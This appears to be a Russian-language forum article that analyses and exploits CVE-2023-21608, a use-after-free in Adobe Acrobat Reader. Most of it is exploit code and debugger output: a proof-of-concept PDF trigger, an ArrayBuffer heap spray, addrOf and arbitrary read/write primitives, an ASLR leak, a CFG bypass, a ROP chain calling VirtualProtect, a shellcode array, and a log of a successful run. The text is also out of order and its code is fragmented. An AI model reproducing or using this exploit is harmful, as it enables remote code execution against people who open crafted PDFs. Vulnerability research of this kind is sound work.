7714ef0e ntdll!RtlDebugAllocateHeap+0x00000039
770b6150 ntdll!RtlpAllocateHeap+0x000000f0
770b57fe ntdll!RtlpAllocateHeapInternal+0x000003ee
770b53fe ntdll!RtlAllocateHeap+0x0000003e
767919c7 ucrtbase!_calloc_base+0x00000037
69481bd5 EScript!sub_10011BAE+0x00000027
695a15ce EScript!sub_1013153C+0x00000092
695a1a4e EScript!sub_10131A2C+0x00000022
695a4bce EScript!sub_10134B68+0x00000066
695a1d75 EScript!sub_10131D10+0x00000065
694a95b0 EScript!sub_100394E9+0x000000c7
694a3505 EScript!js_Interpret+0x00001056
694a246b EScript!sub_10032412+0x00000059
694a237b EScript!sub_10032315+0x00000066
694a22b0 EScript!js_Execute+0x0000007d
6948b6b0 EScript!JS_EvaluateUCScriptForPrincipals+0x0000008 b
694ca9c6 EScript!JS_EvaluateUCScript+0x0000004d
694ca6cb EScript!ESExecScript+0x0000010b
Проверка резервной памяти
ArrayBuffer
(чанк буфера массива + размер заголовка (
0x10
)).
Код:
0:015> ? 410
Evaluate expression: 1040 = 00000410
0:015> ? 4ef0cc00 - 4ef0cbf0
Evaluate expression: 16 = 00000010
0:015> dc 4ef0cbf0
4ef0cbf0 00000000 00000400 3cc31450 00000000 ........P.. ? 0x400
Evaluate expression: 1024 = 00000400
Используя брейкпоинты WinDbg в коде конструктора, мы можем найти адреса, по которым выделяется
ArrayBuffer
.
Код:
bp Escript+0x131a4e ".printf \"[ArrayBuffer alloc] %p \\n\", eax; gc"
Теперь давайте посмотрим, как выглядит фактический спрей
ArrayBuffer
в эксплойте.
C++:
function
sprayArrBuffers
(
)
{
for
(
var i
=
0
;
i
dc 0x20000048
20000048 00000000 0000ffe8 135c4348 00000000 ........HC\..... +0x4: length, +0x8: typed array
20000058 20000060 00000000 00000000 20000044 `.. ........D..
20000068 33333333 33333333 33333333 33333333 3333333333333333
20000078 33333333 33333333 33333333 33333333 3333333333333333
20000088 33333333 33333333 33333333 33333333 3333333333333333
20000098 00000000 00000000 00000000 00000000 ................
200000a8 00000000 00000000 00000000 00000000 ................
200000b8 00000000 00000000 00000000 00000000 ................
Используя
heap grooming
с нашим предсказуемым шаблоном адреса и запустив уязвимость, мы видим, что длина
ArrayBuffer
повреждена/изменена.
Код:
// encoding %u0058%u2000% at offset required by vulnerability
const code =
"%u4141%u4242%u4343%u4444%u4545%u4646%u4747%u4848%u 4949%u4a4a%u4b4b%u4c4c%u4d4d%u4e4e%u4f4f%u5050%u00 58%u2000%u5353%u5454%u5555%u5656%u5757%u5858%u5959 %u5a5a%u5b5b%u5c5c%u5d5d%u5e5e%u5f5f%u6060%u6161%u 6262%u6363%u6464%u6565%u6666%u6767%u6868%u6969%u6a 6a%u6b6b%u6c6c%u6d6d%u6e6e%u6f6f%u7070%u7171%u7272 %u7373%u7474%u7575%u7676%u7777%u7878%u7979%u7a7a%u 7b7b%u7c7c%u7d7d%u7e7e%u7f7f%u8080%u8181%u8282%u83 83%u8484";
Код:
0:023> dc 20000048
20000048 00000000 247c3308 243722f0 00000000 .....3|$."7$.... +0x4: length, +0x8: typed array
20000058 20000060 00000000 00000000 20000044 `.. ........D..
20000068 33333333 33333333 33333333 33333333 3333333333333333
20000078 33333333 33333333 33333333 33333333 3333333333333333
20000088 33333333 33333333 33333333 33333333 3333333333333333
20000098 00000000 00000000 00000000 00000000 ................
200000a8 00000000 00000000 00000000 00000000 ................
200000b8 00000000 00000000 00000000 00000000 ................
Длина
ArrayBuffer
искажается значением указателя, что позволяет осуществлять
out-of-bounds
read-write
вне границ кучи.
Как только уязвимость сработает, поврежденный
ArrayBuffer
можно найти с помощью приведенного ниже кода.
C++:
for
(
var i
=
0
;
i
0x007d0
->
0x00f90
->
0x01f10
->
0x03e10
->
0x07c10
->
0x0f810
Повторная аллокация с размером 0x0f810 должны поместить аллокацию массива сразу после последнего
ArrayBuffer
из нашего спрея
Когда мы читаем
out-of-bound
из поврежденного
ArrayBuffer
, мы должны иметь возможность прочитать содержимое распыленного массива
[/LIST]
C++:
for
(
var i
=
0
;
i
g
24188270 00000000 00000f80 00000f80 00000f80 ................
24188280 47484950 ffffff81 0db3c420 ffffff85 PIHG.... .......
24188290 0dda27c0 ffffff87 50515051 ffffff81 .'......QPQP....
241882a0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
241882b0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
241882c0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
241882d0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
241882e0 50515051 ffffff81 50515051 ffffff81 QPQP....QPQP....
0:015> !ext.heap -p -a 24188270
address 24188270 found in
_HEAP @ 4f10000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
24188268 1f03 0000 [00] 24188270 0f810 - (busy)
Где
0db3c420 ffffff85
-
targetStr
, а
0dda27c0 ffffff87
-
targetDataView
.
addrOf Primitive
Примитив
addrOf
приводит к утечке адреса любого объекта JavaScript путем чтения адреса объекта, хранящегося в распыленном
Array
, используя примитивы, выходящие за границы.
CorruptedTypedArr
- это типизированный массив с поврежденной длиной
ArrayBuffer
, а
arrStart
- это индекс, в котором находится JavaScript Array от начала поврежденного
ArrayBuffer
.
modified_arr
- это массив JavaScript из распыленных массивов, который мы будем использовать для искажения и утечки адресов.
C++:
function
addrOf
(
obj
)
{
modified_arr
[
0
]
=
obj
;
addr
=
corruptedTypedArr
[
arrStart
+
4
]
;
return
addr
;
}
Temporary Arbitrary Read Primitive
Примитив
poi
позволяет нам прочитать значение по произвольному адресу.
Чтобы получить примитив
poi
, нужно выполнить несколько шагов:
Аллоцируйте строку в глобальной области видимости, например
var targetStr = "Hello";
Распылите вышеуказанный строковый объект как элемент в распыленных массивах
arrs[i][1] = targetStr;
Распыление поддельной строковой структуры внутри распыленного
ArrayBuffer
Код:
uintArr[FAKE_STR_START] = 0x102; //
typeuintArr[FAKE_STR_START+1] = arrBufPtr+0x40; // buffer
4.После достижения
out-of-bounds
примитивов мы присваиваем фальшивой строке адрес объекта распыленной строки из массива
uintArr[arrStart+6] = FAKE_STR;
.
5. Теперь
targetStr
, который был распылен вместе с
Array
, можно спутать с поддельной струной.
6. Чтение значений с заданного произвольного адреса достигается путем установки addr на указатель буфера поддельной строки, а затем обычного чтения объекта targetStr нашего модифицированного массива. Это позволит нам считывать значения с произвольных адресов.
C++:
function
s2h
(
s
)
{
var n1
=
s
.
charCodeAt
(
0
)
var n2
=
s
.
charCodeAt
(
1
)
return
(
(
n2
>
>
0
}
function
poi
(
addr
)
{
// leak values at addr by setting it to string pointer
corruptedTypedArr
[
FAKE_STR_START
+
1
]
=
addr
;
val
=
s2h
(
modified_arr
[
1
]
)
;
return
val
;
}
Arbitrary Read-Write Primitives
Как только мы достигнем
out-of-bounds
чтения-записи в
ArrayBuffer
, мы можем использовать примитивы
addrOf
и
poi
для выполнения произвольного чтения. Используя эти примитивы, мы можем получить полные произвольные примитивы чтения-записи, используя объект JavaScript DataView.
Чтобы создать произвольные примитивы чтения-записи с помощью объекта DataView, мы можем выполнить следующие шаги:
Создайте объект
DataView
с валидным
ArrayBuffer
и установите для него начальное значение:
C++:
var targetDV
=
new
DataView
(
new
ArrayBuffer
(
0x64
)
)
;
targetDV
.
setUint32
(
0
,
0x55555555
,
true
)
;
Распылите объект targetDV как элемент в массиве распыленных массивов:
C++:
for
(
var i
=
0
;
i
<
0x10
;
i
++
)
{
.
.
.
arrs
[
i
]
[
2
]
=
targetDV
;
.
.
.
}
Создайте поддельный объект
DataView
путем распыления
ArrayBuffer
и установки значения
magic number
в начале распыления.
C++:
uintArr
[
FAKE_DV_START
]
=
0x77777777
;
После достижения
out-of-bounds
примитивов, присвойте поддельный объект
DataView
адресу распыленного объекта
DataView
.
C++:
uintArr
[
arrStart
+
8
]
=
FAKE_DV
;
Клонируйте содержимое валидного объекта
DataView
в поддельный
DataView
, используя ранее созданные примитивы.
C++:
var targetDVPtr
=
addrOf
(
targetDV
)
;
for
(
var k
=
0
;
k
<
32
;
k
++
)
{
corruptedTypedArr
[
FAKE_DV_START
+
k
]
=
poi
(
targetDVPtr
+
(
k
*
4
)
)
;
}
Наконец, для выполнения произвольного чтения-записи установите поддельный указатель
ArrayBuffer
объекта
DataView
и выполняйте чтение/запись из объекта
DataView
.
C++:
function
AAR
(
addr
)
{
corruptedTypedArr
[
FAKE_DV_START
+
20
]
=
addr
;
return
modified_arr
[
2
]
.
getUint32
(
0
,
true
)
;
}
function
AAW
(
addr
,
value
)
{
corruptedTypedArr
[
FAKE_DV_START
+
20
]
=
addr
;
modified_arr
[
2
]
.
setUint32
(
0
,
value
,
true
)
;
}
Запуск shellcode'а
Для выполнения шеллкода мы используем примитивы произвольного чтения-записи (AAR/AAW), чтобы обойти ASLR и CFG.
Действовать нужно следующим образом:
Обойти
ASLR
путем утечки базового адреса
AcroForm.api
из объекта поля
C++:
var AcroFormApiBase
=
AAR
(
AAR
(
addrOf
(
testField
)
+
0x10
)
+
0x34
)
-
0x00293fe0
Утечка адреса поля
vtable
C++:
var fieldVtblAddr
=
AAR
(
AAR
(
AAR
(
AAR
(
addrOf
(
testField
)
+
0x10
)
+
0x10
)
+
0xc
)
+
4
)
var fieldVtbl
=
AAR
(
fieldVtblAddr
)
Клонируем
vtable
в кучу (клонирование необходимо, так как у нас нет разрешения на запись по адресу
vtable
). Мы клонируем ее на выбранный нами адрес кучи (выбранный из спрея
ArrayBuffer
) и производим дальнейшие модификации там.
C++:
for
(
var i
=
0
;
i
<
32
;
i
++
)
{
AAW
(
arrBufPtr
+
0x100
+
(
i
*
4
)
,
AAR
(
fieldVtbl
+
i
*
4
)
)
;
}
Выполните
stack pivoting
в нашу контролируемую кучу для выполнения шеллкода. Мы подготовим фальшивый стек на куче с необходимыми деталями, как показано ниже:
C++:
AAW
(
arrBufPtr
+
0x100
+
0x48
,
AcroFormApiBase
+
0x6faa60
)
;
// CFG gadget = AcroForm!sub_20EFAA60;
AAW
(
arrBufPtr
+
0x100
+
0x30
,
AcroFormApiBase
+
0x256984
)
;
// 0x6b5e6984: mov esp, eax; dec ecx; ret;
AAW
(
arrBufPtr
+
0x100
,
AcroFormApiBase
+
0x1e646
)
;
// 0x6b3ae646: pop esp; ret;
AAW
(
arrBufPtr
+
0x100
+
4
,
arrBufPtr
+
0x300
)
;
// our pivoted stack
AAW
(
fieldVtblAddr
,
arrBufPtr
+
0x100
)
;
// field vtable
Установите
ROP
и выполните шеллкод
C++:
var rop
=
[
AAR
(
AcroFormApiBase
+
0x007da108
)
,
// virtualprotect
arrBufPtr
+
0x400
,
// return address
arrBufPtr
+
0x400
,
// buffer
0x1000
,
// sz
0x40
,
// new protect
arrBufPtr
+
0x340
]
;
for
(
var i
=
0
;
i
<
rop
.
length
;
i
++
)
{
AAW
(
arrBufPtr
+
0x300
+
4
*
i
,
rop
[
i
]
)
;
}
var shellcode
=
[
0x90909090
,
835867240
,
1667329123
,
1415139921
,
1686860336
,
2339769483
,
1980542347
,
814448152
,
2338274443
,
1545566347
,
1948196865
,
4270543903
,
605009708
,
390218413
,
2168194903
,
1768834421
,
4035671071
,
469892611
,
1018101719
,
2425393296
]
;
for
(
var i
=
0
;
i
<
shellcode
.
length
;
i
++
)
{
AAW
(
arrBufPtr
+
0x400
+
i
*
4
,
re
(
shellcode
[
i
]
)
)
;
}
Наконец, вызовите шеллкод, обратившись к свойству
defaultValue
объекта
testField
.
C++:
var ret
=
testField
.
defaultValue
;
Control Flow Guard (CFG) Bypass
В Adobe Acrobat Reader по умолчанию включен
CFG
, поэтому невозможно вызвать шеллкод напрямую. Предыдущие версии эксплойтов полагались на использование не
CFG
модулей в Adobe Reader для создания цепочки
ROP
, но в новых версиях все модули включены в
CFG
.
Один из способов обойти это - использовать
call sites,
не оснащенные
CFG
. В Adobe Acrobat Reader мы обнаружили несколько не
CFG
-инструментированных call sites, которые можно использовать для обхода
CFG
. Одной из таких функций является
sub_20EFAA60
, которая позволяет нам вызвать адрес, который мы контролируем, сохраняя его в регистре ecx.
Код:
.text:20EFAA60 ; int __thiscall sub_20EFAA60(void *this)
.text:20EFAA60 sub_20EFAA60 proc near ; DATA XREF: .rdata:20FF8C11↓o
.text:20EFAA60 ; .rdata:21131674↓o ...
.text:20EFAA60 mov eax, [ecx]
.text:20EFAA62 push 0Dh
.text:20EFAA64 call dword ptr [eax+30h]
.text:20EFAA67 retn
.text:20EFAA67 sub_20EFAA60 endp
Это может быть использовано для управления выполнением программы и выполнения шеллкода.
Context Restoration and Recovery
После выполнения шеллкода программа Acrobat Reader завершает работу, поскольку соответствующий контекст не был восстановлен. Чтобы Adobe Acrobat Reader продолжал работать после эксплуатации, важно восстановить этот контекст.
Это включает в себя несколько этапов:
Восстановление
targetStr
и
[CODE]
targetDV
с помощью поддельной строки и
DataView
, которые были созданы ранее
Восстановление исходной таблицы
vtable
, которая была захвачена для выполнения кода
Исправление любых повреждений, вызванных повреждением
ArrayBuffer
, и других побочных эффектов этого повреждения
Восстановление стека (это делается в части восстановления шеллкода)
Восстановление
ESP
до значения по умолчанию (это также делается в части восстановления шеллкода)
Резервное копирование исходных значений до повреждения, чтобы их можно было восстановить после выполнения шеллкода (это показано в приведенном ниже фрагменте)
В приведенном ниже фрагменте показано, как некоторые из исходных значений резервируются перед повреждением, чтобы их можно было восстановить после выполнения шеллкода.
Код:
log("[+] Storing recovery context");
AAW(FAKE_STACK_PTR + 0x60, fieldVtblAddr); // original vtable ptr (goes back in ECX)
AAW(FAKE_STACK_PTR + 0x64, fieldVtbl); // vtable funcs ptr
AAW(FAKE_STACK_PTR + 0x68, originalDefaultValFunc); // original defaultVal impl to jump to
AAW(FAKE_STACK_PTR + 0x6c, AAR(ARRAY_BUFFER_BASE + 8)); // corrupted ArrayBuffer typed array ptr
AAW(FAKE_STACK_PTR + 0x70, AAR(ARR_BUF_MALLOC_BASE)); // malloc header 0
AAW(FAKE_STACK_PTR + 0x74, AAR(ARR_BUF_MALLOC_BASE + 4)); // malloc header 1
Exploit Log
Код:
[+] Acrobat Reader Remote Code Execution
Version: 21.01120039
[+] Spraying ArrayBuffer of size: 0xffe8
[+] Grooming LFH blocks of size: 68 count: 4000
[+] Triggering garbage collection
[+] Triggering vulnerability
[+] Finding required objects
Corrupted ArrayBuffer idx: 4604 byteLength: 0x24043250
addrOf Array start idx: 13221884
addrOf Array idx: 0
[+] Gaining arbitrary read & write primitive
Crafting fake DataView: 0x200001d8
[+] Fixing corrupted objects
Typed array pointer
Typed array node pointers
V1 Idx: 4602 address: 0x131cf240 value: 0xd0b8600 correct value: 0xd0b86a0
ArrayBuffer field
Fake string
[+] Finding required modules
AcroForm.api: 0x6ef70000
KERNEL32.dll: 0x769a0000
VirtualProtect: 0x769c04c0
[+] Finding gadgets in AcroForm.api
CFG bypass gadget: 0x6f66aa60
[+] Stack pivot gadgets
xchg eax, esp; ret: 0x6ef8e5e6
pop esp; ret: 0x6ef8e646
[+] Setting up ROP and shellcode
Payload: 0x2459edd8
[^] Executing payload
[+] Exploit duration: 6.172 seconds
64-bit Exploitation
Уязвимость CVE-2023-21608 также затрагивала 64-битную версию Adobe Reader. Оценили возможность эксплуатации этой ошибки на 64-битной версии. Однако мы столкнулись с двумя серьезными препятствиями:
Распыление кучи больше невозможно в 64-битном адресном пространстве. Следовательно, мы больше не можем полагаться на технику распыления
ArrayBuffer
, описанную выше, для выделения управляемых данных по предсказуемым адресам. Теперь нам нужен отдельный баг
info-leak
для дальнейшей эксплуатации.
Но найти утечку информации - задача несложная. Основная проблема, которая делает этот баг бесполезным для 64-битной эксплуатации, заключается в том, что распыленные строки используются в качестве объектов агрегации, где из распыленной строки создаются новые строки. При создании новой строки учитываются стандартные нулевые терминаторы языка Си. Мы не можем использовать адреса, в которых есть два последовательных байта
NULL
. Это остановит копирование строки, и мы никогда не сможем перераспределить освободившуюся память с контролируемым куском, в котором есть адрес утечки
ArrayBuffer
. Ошибка больше не будет эффективной и воспроизводимой. Это ограничивает нас от возможности эксплуатации этой ошибки на 64-битной версии.
POC
GitHub - hacksysteam/CVE-2023-21608: Adobe Acrobat Reader - CVE-2023-21608 - Remote Code Execution Exploit
Adobe Acrobat Reader - CVE-2023-21608 - Remote Code Execution Exploit - hacksysteam/CVE-2023-21608
github.comDemo
---------------------------------------------------------------
Хочу передать респект всем, кто дочитал эту статью! Я очень устал её писать, если честно... Если вам интересны настолько глубокие разборы, то делитесь статьёй, ставьте лайки и пишите комменты.
use-after-free
в Adobe Acrobat Reader DC. Ошибка была обнаружена в ходе проекта по фаззингу, направленной на популярные программы для чтения PDF. В итоге была успешно использована уязвимость для удаленного выполнения кода в Adobe Acrobat Reader.
Об уязвимости
Эта уязвимость позволяет удаленно выполнить произвольный код на уязвимых Adobe Acrobat Reader DC. Для использования этой уязвимости требуется взаимодействие с пользователем, т.е. цель должна посетить вредоносную страницу или открыть вредоносный файл.
Конкретный баг был найден в методе
resetForm
. Уязвимость возникает из-за отсутствия проверки существования объекта перед выполнением операций над ним.
CVE ID
CVE-2023-21608
Vendor
Adobe
Products
Acrobat 2020 - 20.005.30418 и более ранние
Acrobat Reader 2020 - 20.005.30418 и более ранние
Acrobat DC - 22.003.20282и более ранние
Acrobat Reader DC - 22.003.20282 и более ранние
Proof of Concept
Пример ниже содержит статическое текстовое поле с именем
testField
, встроенное в PDF-документ.
Код:
5 0 obj
>
Ниже приведена соответствующая часть JavaScript кода, которая вызывает ошибку.
JavaScript:
var
testField
=
this
.
getField
(
"testField"
)
;
testField
.
richText
=
true
;
testField
.
setAction
(
"Calculate"
,
"calculateCallback()"
)
;
try
{
this
.
resetForm
(
)
;
}
catch
(
e
)
{
}
try
{
this
.
resetForm
(
)
;
}
catch
(
e
)
{
}
// bug is triggered during this resetForm call
function
calculateCallback
(
)
{
event
.
__defineGetter__
(
"target"
,
getterFunc
)
;
event
.
richValue
=
this
;
}
function
getterFunc
(
)
{
try
{
Object
.
defineProperty
(
testField
,
"textFont"
,
{
value
:
this
}
)
;
}
catch
(
e
)
{
}
}
Crash State
Включите функцию page-heap для AcroRd32.exe и откройте файл crash.pdf с помощью программы Acrobat Adobe Reader DC.
Код:
eax=04f6a0f0 ebx=00000000 ecx=420fefd0 edx=44e1cff8 esi=6921ef50 edi=420fefd0
eip=6c556b99 esp=04f6a0d0 ebp=04f6a0fc iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
AcroForm!CAgg::operator[](unsigned short)+0xe:
6c556b99 8b07 mov eax,dword ptr [edi] ds:002b:420fefd0=????????
Примечание: Весь анализ и эксплуатация, описанные в этой заметке, выполнены на Adobe Acrobat Reader DC версии 2022.001.20085 x86.
Stack Trace
Код:
0:000> kb
# ChildEBP RetAddr Args to Child
00 04f6a0fc 6c552a50 00001742 408bcff0 00000000 AcroForm!CAgg::operator[](unsigned short)+0xe
01 04f6a118 6bdfd922 43a38fb8 527e4ff0 408bcff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x30
02 04f6a16c 6bdfd803 43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnum+0xc3
03 04f6a184 692fe993 43a38fb8 6c552a20 04f6a1c8 EScript!ESObjectEnumWrapper+0x13
WARNING: Stack unwind information not available. Following frames may be wrong.
04 04f6a19c 6c55298c 43a38fb8 6c552a20 04f6a1c8 AcroRd32!DllCanUnloadNow+0xa6553
05 04f6a1e4 6c552c3f 420fefd0 43a38fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
06 04f6a20c 6c552a56 420fefd0 46ed4ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
07 04f6a228 6bdfd922 503d4fb8 45970ff0 46ed4ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
08 04f6a27c 6bdfd803 503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnum+0xc3
09 04f6a294 692fe993 503d4fb8 6c552a20 04f6a2d8 EScript!ESObjectEnumWrapper+0x13
0a 04f6a2ac 6c55298c 503d4fb8 6c552a20 04f6a2d8 AcroRd32!DllCanUnloadNow+0xa6553
0b 04f6a2f4 6c552c3f 505fafd0 503d4fb8 00000000 AcroForm!ESValToCAgg_internal+0x447
0c 04f6a31c 6c552a56 505fafd0 3d259ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
0d 04f6a338 6bdfd922 4e5dcfb8 4948eff0 3d259ff0 AcroForm!EScript_ESObjectEnum_CallbackProc+0x36
0e 04f6a38c 6bdfd803 4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnum+0xc3
0f 04f6a3a4 692fe993 4e5dcfb8 6c552a20 04f6a3e8 EScript!ESObjectEnumWrapper+0x13
10 04f6a3bc 6c55298c 4e5dcfb8 6c552a20 04f6a3e8 AcroRd32!DllCanUnloadNow+0xa6553
11 04f6a404 6c552c3f 04f6afa8 4e5dcfb8 00000000 AcroForm!ESValToCAgg_internal+0x447
12 04f6a42c 6c552aea 04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAgg(CAgg &, _s_ESValRec *, unsigned short)+0xd6
13 04f6a46c 6c513b35 04f6afa8 47cf6ff0 00000000 AcroForm!ESValToCAggWrapper+0x1e
14 04f6a4c8 6bddf79b 48cf2fb8 45230ff0 47cf6ff0 AcroForm!SetRichValueEventProp+0x1f5
15 04f6a534 6bddf5bc 3cdaef58 04f6a68c 04f6a568 EScript!sub_1003F620+0x17b
16 04f6a56c 6bdba592 3cdaef58 04f6a68c 04f6a68c EScript!sub_1003F4E7+0xd5
17 04f6a5a4 6bdba2fe 3cdaef58 04f6a68c 04f6a68c EScript!sub_1001A4D2+0xc0
18 04f6a64c 6bdd8a6b 3cdaef58 04f6a68c 04f6a68c EScript!sub_10019E93+0x46b
19 04f6a690 6bdd4cd7 3cdaef58 04f6aac0 4fdc2fcf EScript!sub_100389D2+0x99
1a 04f6ab00 6bdd246b 3cd5da60 6bdd24c0 00000438 EScript!js_Interpret+0x2828
1b 04f6ab4c 6bdd237b 3cdaef58 04f6ab60 3cdaef58 EScript!sub_10032412+0x59
1c 04f6ab88 6bdd22b0 3cdaef58 04f6abfc 3d1a4100 EScript!sub_10032315+0x66
1d 04f6abbc 6bdbb6b0 3cdaef58 04f6abfc 3d1a4100 EScript!js_Execute+0x7d
1e 04f6ac0c 6bdfa9c6 3cdaef58 04f6ac8c 00000000 EScript!JS_EvaluateUCScriptForPrincipals+0x8b
1f 04f6ac90 6bdfa6cb 3cdaef58 3d1a4100 4c93efd8 EScript!JS_EvaluateUCScript+0x4d
20 04f6ae44 6bdfa046 3d4f9ff0 49488fe0 49f3cff0 EScript!ESExecScript+0x10b
21 04f6ae90 6bdf8e23 3cdacfc0 390b4fb8 49d20fc0 EScript!AESEvaluateScript+0x3d
22 04f6af30 692fcbdf 1f2c0bd0 390b4fb8 49cf4fc0 EScript!ESExecuteScriptWithEvent+0x4a3
23 04f6af58 6c543fd4 1f2c0bd0 00000000 49cf4fc0 AcroRd32!DllCanUnloadNow+0xa479f
24 04f6b03c 6c543270 1f2c0bd0 5135cfa0 00000000 AcroForm!AFCalculateNthFieldEntry_x+0x4b8
25 04f6b074 6c545f65 1f2c0bd0 00000000 00001467 AcroForm!AFPDCalculateFields__internal+0xfd
26 04f6b0b0 6c5c4c37 1f2c0bd0 00000000 1f2c0bd0 AcroForm!AFPDCalculateFields+0x9f
27 04f6b1b0 6c50fa1c 1f2c0bd0 00000000 00000000 AcroForm!ResetForm(_t_PDDoc *, OPAQUE_64_BITS, unsigned short)+0x477
28 04f6b65c 6bdf3fb7 390b4fb8 45fe4ff0 5225afb8 AcroForm!resetFormHandler+0x5fc
Быстрая проверка с помощью команды
!heap
показывает, что это уязвимость
use-after-free
.
Код:
0:000> !ext.heap -p -a @edi
address 420fefd0 found in
_DPH_HEAP_ROOT @ 7831000
in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
372134ac: 420fe000 2000
6e44ab02 verifier!AVrfDebugPageHeapFree+0x000000c2
770af766 ntdll!RtlDebugFreeHeap+0x0000003e
770668ae ntdll!RtlpFreeHeap+0x0004e0ce
770562ed ntdll!RtlpFreeHeapInternal+0x00000783
77018786 ntdll!RtlFreeHeap+0x00000046
755d3c9b ucrtbase!_free_base+0x0000001b
755d3c68 ucrtbase!free+0x00000018
6c2e7a56 AcroForm!operator delete(void *)+0x0000000b
6c555f05 AcroForm!sub_20AD5ECD+0x00000038
6c555e5f AcroForm!sub_20AD5E3B+0x00000024
6c555e54 AcroForm!sub_20AD5E3B+0x00000019
6c555e1b AcroForm!sub_20AD5DE9+0x00000032
6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
6c5576c0 AcroForm!CAgg::convert(CAgg::CAggType)+0x00000045
6c556d10 AcroForm!sub_20AD6CDD+0x00000033
6c555efd AcroForm!sub_20AD5ECD+0x00000030
6c555e5f AcroForm!sub_20AD5E3B+0x00000024
6c555e54 AcroForm!sub_20AD5E3B+0x00000019
6c555e54 AcroForm!sub_20AD5E3B+0x00000019
6c555e1b AcroForm!sub_20AD5DE9+0x00000032
6c557abf AcroForm!CAgg::convertASAtommap(bool (&)[27])+0x000002e0
6c557559 AcroForm!CAgg::convert(bool (&)[27])+0x000000e7
6c55766d AcroForm!sub_20AD75F2+0x0000007b
6c551b9e AcroForm!CAggConvertToESValType(CAgg &)+0x0000001f
6c551be0 AcroForm!CAggToESVal(_s_ESValRec *, CAgg &)+0x0000003d
6c5131ce AcroForm!GetRichValueEventProp+0x0000011e
6bdde176 EScript!sub_1003DF10+0x00000266
6bde306d EScript!sub_10042FE8+0x00000085
6bdb50fd EScript!sub_10014B57+0x000005a6
6bdb4b4a EScript!sub_10014B17+0x00000033
6bdddcd2 EScript!sub_1003DC6A+0x00000068
На данном этапе, имея на руках вышепоказанный анализ, мы решили углубиться в анализ почему эта ошибка возникает и посмотреть, сможем ли мы получить RCE в процессе "песочницы" Adobe Reader.
Анализ причины появления бага
Несколько моментов, которые следует отметить в этом PoC:
Ошибка возникает во время второго вызова
resetForm
resetForm
вызывает события вычисления для всех полей, если определен дескриптор
Calculate
.
В дескрипторе
Calculate
свойство
target
объекта события переопределяется пользовательской функцией
getterFunc
.
Внутри этой функции
getterFunc
свойство textFont поля переопределяется значением объекта
doc
.
Это приводит к сбою, когда присваивание
event.richValue = this
выполняется в дескрипторе
Calculate
.
Сбой можно отследить по стеку вызовов до соответствующей иерархии вызовов.
Код:
AcroForm!ResetForm | this.resetForm()
AcroForm!AFPDCalculateFields
AcroForm!AFCalculateNthFieldEntry
AcroForm!AFCalculateNthFieldEntry
AcroForm!AFCalculateNthFieldEntry
|- user defined callback is triggered. | field Calculate handler invoked
AcroForm!SetRichValueEventProp | event.richValue = this
.. some form of aggregation starts on richValue ..
AcroForm!EScript_ESObjectEnum_CallbackProc
AcroForm!CAgg::operator[](unsigned short)
Ошибка возникает, когда внутри
SetRichValueEventProp
начинается некая форма объединения значений, которая осуществляет перебор назначенного объекта
this
, являющегося экземпляром текущего объекта
doc
. Свойства и методы
doc
перебираются рекурсивно с помощью
EScript!ESObjectEnum
, который принимает обратный вызов, где перечисляемые сведения о свойствах передаются из
EScript
в
AcroForm
. Обратный вызов
AcroForm!EScript_ESObjectEnum_CallbackProc
запускается для каждого из перебираемых свойств.
Когда
page-heap
включен, сбой происходит в
_DWORD *__thiscall
std::map::lower_bound(TREE_VAL *this, _DWORD *a2, unsigned __int16 *a3)
при разыменовании указателя, который является объектом
std::map
в текущем контексте.
C++:
DWORD
*
__thiscall std
::
map
::
lower_bound
(
TREE_VAL
*
this
,
_DWORD
*
a2
,
unsigned
__int16
*
a3
)
{
TREE_NODE
*
Myhead
;
// eax
TREE_NODE
*
Parent
;
// ecx
unsigned
__int16 v5
;
// si
int
v6
;
// eax
Myhead
=
this
->
_Myhead
;
// crash location - page-heaps enabled
Parent
=
this
->
_Myhead
->
_Parent
;
.
.
.
}
После проверки вызывающей функции выяснилось, что функция
int __thiscall std::map::operator[](TREE_VAL *this, int a2, unsigned __int16 *pSomeID)
отвечает за вставку значения в соответствующую
std::map
.
C++:
int
__thiscall std
::
map
::
operator
[
]
(
TREE_VAL
*
this
,
int
a2
,
unsigned
__int16
*
pSomeID
)
{
.
.
.
std
::
map
::
lower_bound
(
this
,
v8
,
pSomeID
)
;
// Crashing path when page-heap is enabled
v4
=
v9
;
if
(
sub_208E95F2
(
v9
,
pSomeID
)
)
{
.
.
.
}
else
{
if
(
this
->
_Mysize
==
0x38E38E3
)
Throw_tree_length_error
(
)
;
.
.
.
*
(
_DWORD
*
)
a2
=
std
::
map
::
insert
(
this
,
v8
[
0
]
,
(
int
)
v8
[
1
]
,
Parent
)
;
.
.
.
}
return
result
;
}
Приведенный выше код показывает, что при вставке значения в
std::map
создается новый аллокатор
CAgg
. Тестирование с помощью
heap grooming
и трюка
.dvalloc
показало, что функция
std::map::insert
также позволяет произвольную запись по выбранному адресу. Используя
heap grooming
, можно получить контроль над поврежденным указателем
std::map
, используемым в этом контексте, что дает возможность дальнейшей эксплуатации.
C++:
TREE_NODE
*
__thiscall std
::
map
::
insert
(
TREE_VAL
*
this
,
TREE_NODE
*
a2
,
int
a3
,
TREE_NODE
*
a4
)
{
++
this
->
_Mysize
;
// write possible here (single increment though)
// map length increase
Myhead
=
this
->
_Myhead
;
v5
=
a4
;
a4
->
_Parent
=
a2
;
if
(
a2
!=
Myhead
)
{
if
(
a3
)
{
a2
->
_Left
=
a4
;
